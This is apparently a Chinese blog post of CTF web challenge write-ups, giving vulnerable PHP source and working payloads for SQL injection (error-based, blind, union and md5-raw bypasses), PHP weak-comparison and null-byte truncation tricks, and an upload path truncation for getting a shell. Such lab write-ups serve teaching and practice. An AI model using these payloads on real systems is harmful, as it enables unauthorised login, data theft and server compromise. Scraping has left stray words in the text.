最近在刷CTF題,主攻Web,兼職Miscphp
<!--more-->html
F12查看響應頭,發現返回tips
訪問test.php文件獲得源代碼:mysql
<?php define("SECRET_KEY", '***********'); define("METHOD", "aes-128-cbc"); error_reporting(0); include('conn.php'); function sqliCheck($str){ if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ return 1; } return 0; } function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); } function show_homepage(){ global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo '<h1><center>Hello!'.$rows['username'].'</center></h1>'; } else{ echo '<h1><center>Hello!</center></h1>'; } }else{ die("ERROR!"); } } } if(isset($_POST['id'])){ $id = (string)$_POST['id']; if(sqliCheck($id)) die("<h1 style='color:red'><center>sql inject detected!</center></h1>"); $info = array('id'=>$id); login($info); echo '<h1><center>Hello!</center></h1>'; }else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){ show_homepage(); }else{ echo '<body class="login-body" style="margin:0 auto"> <div id="wrapper" style="margin:0 auto;width:800px;"> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>input id to login</span> </div> <div class="content"> <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" /> </div> <div class="footer"> <p><input type="submit" name="submit" value="Login" class="button" /></p> </div> </form> </div> </body>'; } }?>
代碼分析:web
漏洞緣由:
aes-128-cbc加密存在CBC翻轉攻擊(不理解,暫時跳過)sql
md5("ffifdyop",True)
獲得的加密字符串爲'or'6<crash>
(注:or '數字+字母'
等價於or true
)打開網頁,右鍵查看源代碼發現源碼:
shell
<!-- $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密碼錯誤!'; } -->
上網查了下,瞭解到md5($password,true)返回的是原始 16 字符二進制格式的密文,返回的內容能夠存在單引號,故咱們能夠找個字符串,使其md5(str,true)加密過返回的字符串與原sql語句拼接形成SQL注入攻擊。
通過簡單的Fuzz,咱們知道:字符串'or'6<亂碼>"
,此時若是拼接到sql語句中,那麼這條語句將會變成一條永真式,所以成功登陸,得到flag。
數據庫
=
被過濾可用regexp 'xxx'
和in (0xaaaa)
代替觀察題目可知此題考的是報錯注入,右鍵源代碼獲得提高:Post發送username&password。
sql語句以下:vim
$sql="select * from users where username='$username' and password='$password'";
注意:此處可控的參數有兩個。
簡單手工測試,發現過濾了#,and
等關鍵字,並且username處單獨過濾了右括號,這意味着咱們沒法再username出使用函數,於是咱們將目光轉向password。
通過一番人工Fuzz,發現只有exp()函數沒有被過濾,故咱們構造語句:exp(~(select * from(select user())a))
成功爆出用戶名。 最終咱們的payload以下:數組
username=a'/*&password=*/Or exp(~(select * from(select database())a))or'1 //查詢當前數據庫 username=a'/*&password=*/Or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf')a))or'1 //查詢表名,此處因爲=被過濾,咱們使用regexp來繞過 username=a'/*&password=*/Or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a))or'1 //查詢列名,此處因爲and被過濾,故而不加數據庫名的驗證,在實際滲透中最好仍是儘可能加上。 username=a'/*&password=*/Or exp(~(select * from(select group_concat(value) from ffll44jj)a))or'1 //獲取flag
打開網頁,隨便輸入個數字,頁面返回You are in...
,輸入在數字後加單引號,返回You are not in...
。
猜想此處考的是bool盲注,根據頁面返回的內容判斷真假。
通過一番簡單的fuzz,發現此處過濾的函數只會過濾一次,那麼咱們能夠將過濾關鍵詞雙寫:oorr
就行了。瀏覽器
id=aaa'oorr(1=1)='1 //返回You are in id=aaa'oorr(1=2)='1 //返回You are not in // 此處的aaa是爲了讓前邊條件爲假,那麼sql語句的判斷將依賴於後邊的語句 // 即:false ∪ (條件一) = 條件一
咱們先判斷數據庫長度:
id=aaa'oorr(length(database())>1)='1
其次循環取數據庫名進行判斷:
id=aaa'oorr(mid((select+database())from(1)foorr(1))='c')='1 //因爲,被過濾,使用from與for進行繞過,記得for要寫成foorr繞過過濾,+號繞過空格過濾
接着循環判斷表名:
id=aaa'oorr(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)foorr(1))='a')='1
以後就不寫了,與上邊相似,寫腳本跑就好。
2147483647
(2^31-1) 64位:9223372036854775807
(2^63-1)打開題目,發現返回頭存在提示信息:
打開連接得到源碼:
<?php $info = ""; $req = []; $flag="xxxxxxxxxx"; ini_set("display_error", false); error_reporting(0); if(!isset($_POST['number'])){ header("hint:6c525af4059b4fe7d8c33a.txt"); die("have a fun!!"); } foreach([$_POST] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && $req[$key] = addslashes($value); } } function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])){ $info="sorry, you cann't input a number!"; }elseif($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }else{ $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; }else{ if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; }else{ $info=$flag; } } } echo $info; ?>
代碼流程:
is_numeric[false] && $req['number']!=strval(intval($req['number']))[false]
-> $value1!=$value2[false]
-> is_palindrome_number($req["number"])[true]
咱們知道is_numeric函數與ereg函數同樣,存在截斷漏洞,而第二個if判斷存在弱類型比較的漏洞,咱們將這兩個漏洞組合起來打一套組合拳。
PHP語言對於32位系統的int變量來講,最大值是2147483647,若是咱們傳入的數值爲2147483647的話,通過strrev函數反轉再轉成int函數還是2147483647,由於746384741>2147483647,轉成int變量會減少成2147483647,故而繞過看似矛盾的條件。
而對於開始的is_numeric,加上%00或%20便可,此時is_numeric函數便不會認爲這是個數字,而對於下邊的strval()in、intval()卻無影響。
綜上所述,咱們的number應爲:2147483647%00、2147483647%20、%002147483647。
此處%20不能再開頭的緣由是intval()會將其轉換成數字0,而%00無影響。
打開頁面,猜想考的是萬能密碼,手動Fuzz發現過濾了or,故改用'='
成功。
抓包,發現回顯的數據貌似是直接取header的值,沒有通過數據庫,使用報錯注入失敗,猜想是盲注,因爲bool盲注返回的頁面一致,故此題應爲時間盲注:
簡單測試發現逗號被過濾,致使咱們沒法使用if語句,不過咱們能夠換成case when then else語句代替:
剩下的就是寫腳本慢慢跑了,此處略過。
gourp by xxx with rollup limit 1 offset x#
【建立虛擬表最後一行爲pwd的值爲NULL,借用offset偏移到最後一個,post傳輸空的pwd,知足條件】右鍵源代碼獲得提示信息source.txt
,打開獲得源碼。
<?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可載舟,亦可賽艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可賽艇!"; } }else{ print "一顆賽艇!"; } mysql_close($con); ?>
閱讀源碼可知,咱們須要讓數據庫返回的pwd字段與咱們post的內容相同,注意此處是弱類型比較。
咱們知道grou by with roolup 將建立個虛擬表,且表的最後一行pwd字段爲Null。
mysql> create table test (
-> user varchar(100) not null,
-> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+-------+------------+
3 rows in set
mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
構造payload:
uname=1' or true group by pwd with rollup limit 1 offset 2#&pwd=
offset 2爲偏移兩個數據,即第三行的pwd字段爲空。
exp函數報錯一把嗦
簡單Fuzz發現過濾了空格,使用內斂註釋一把嗦。
/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables=database()
selectselect
import requests,base64 r = requests.get('http://ctf5.shiyanbar.com/web/10/10.php') key=base64.b64decode(r.headers['FLAG'])[-9:] r = requests.post('http://ctf5.shiyanbar.com/web/10/10.php',data={'key':key}) print(r.text)
index.php/index.php
index.php/index.php
==
弱類型比較,PHP序列化與反序列化右鍵查看源代碼發現部分源碼 :
咱們知道0e開頭的字符串在與數字0作弱類型比較時會先轉成數值0在比較,故:咱們只要輸入一個經md5加密後密文爲0e開頭的字符串便可。
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
.submit.php.swp
........這一行是省略的代碼........ /* 若是登陸郵箱地址不是管理員則 die() 數據庫結構 -- -- 表的結構 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 轉存表中的數據 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可見***', '***不可見***', 0); */ ........這一行是省略的代碼........ if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ echo $flag; }else{ echo "失敗了呀"; } }
payload: token=0e11111111&emailAddress=admin@simplexue.com
1e9%00*-*
打開題目,獲得題目源碼:
<?php if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
首先判斷是否用過get方式傳入password,其次判斷是否只含有數字和字母,若是是則返回錯誤,接着判斷長度小於8且大於9999999。看到這裏估計就知道是要考科學計數法了,最後要求get的數據包含*-*
。
咱們知道1E8就等於10000000,這樣就能夠知足長度小於8且大於9999999的條件,不過咱們先得繞開判斷只有數字和字母的條件,咱們知道ereg函數可利用%00進行截斷攻擊,故咱們的payload構造以下:
?password=1e8%00*-*
注意此處的%00只佔一個字符的大小。
刪掉Cookie,?password=
打開題目獲得源碼:
<?php session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p>Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>
建立session,經過get方式取password值再與session裏的password值進行比較,這裏咱們不知道 session裏的password值是多少的,並且咱們並不能控制session,不過這裏的比較是用==弱類型比較,猜測,若是咱們將cookie刪除,那麼$_SESSION['password']的值將爲NULL,此時若是咱們get傳入的 password爲空,即'',那麼比較結果即爲true。
payload:
將cookie刪除或禁用,接着訪問?password=
?name[]=1&password[]=2
打開題目得到源碼:
<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ echo '<p>Login first!</p>'; ?>
咱們知道sha1()函數與md5()相似,當參數爲數組時會返回NULL,若是咱們傳入的name與password爲數組時不管其爲何值,均可以經過sha1($name)===sha1($password)
的強類型判斷。
故咱們的payload構造以下:
?name[]=a&password[]=b
/upload/1.php%00
burp抓個上傳包:
首先嚐試了文件名%00階段,發現無用,而後看到了咱們能夠控制上傳的目錄名,猜想後臺爲獲取目錄名再與文件名拼接。
若是咱們的目錄名存在截斷漏洞,那麼咱們能夠構造/uploads/1.php%00這樣拼接的時候就只有目錄名,達到getshell的目的。
部分: x = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg" c = "" for a in x: b = ord(a) c += chr(b-1) print(c)
打開題目:
解密問題,按照加密過程反着解密便可。
user=123aaa%27+union+select+%27c4ca4238a0b923820dcc509a6f75849b&pass=1
打開題目,右鍵查看源代碼獲得題目源碼:
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
strcasecmp()函數不分大小寫進行字符串比較。
首先咱們不知道數據庫裏已有的用戶值爲多少,更不知其密碼。
不過咱們能夠經過構造聯合查詢注入來返回咱們自定義的數據。
payloadd: user=abc' union select 'c4ca4238a0b923820dcc509a6f75849b&pass=1
1的md5爲:c4ca4238a0b923820dcc509a6f75849b
複製代碼到瀏覽器控制檯執行便可
複製粘貼進瀏覽器的js控制檯,回車運行便可。
id=%2568ackerDJ
打開題目,頁面提示:index.php.txt,打開獲得源碼:
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
$_GET[id]
在取到值後已經自動urldecode了一次,然然後邊再用urldecode解碼一次,故可使用二次編碼繞過前邊的關鍵字檢測。
查看訪問請求返回頭,發現有東西:
將這串base64放到表單裏提交便可。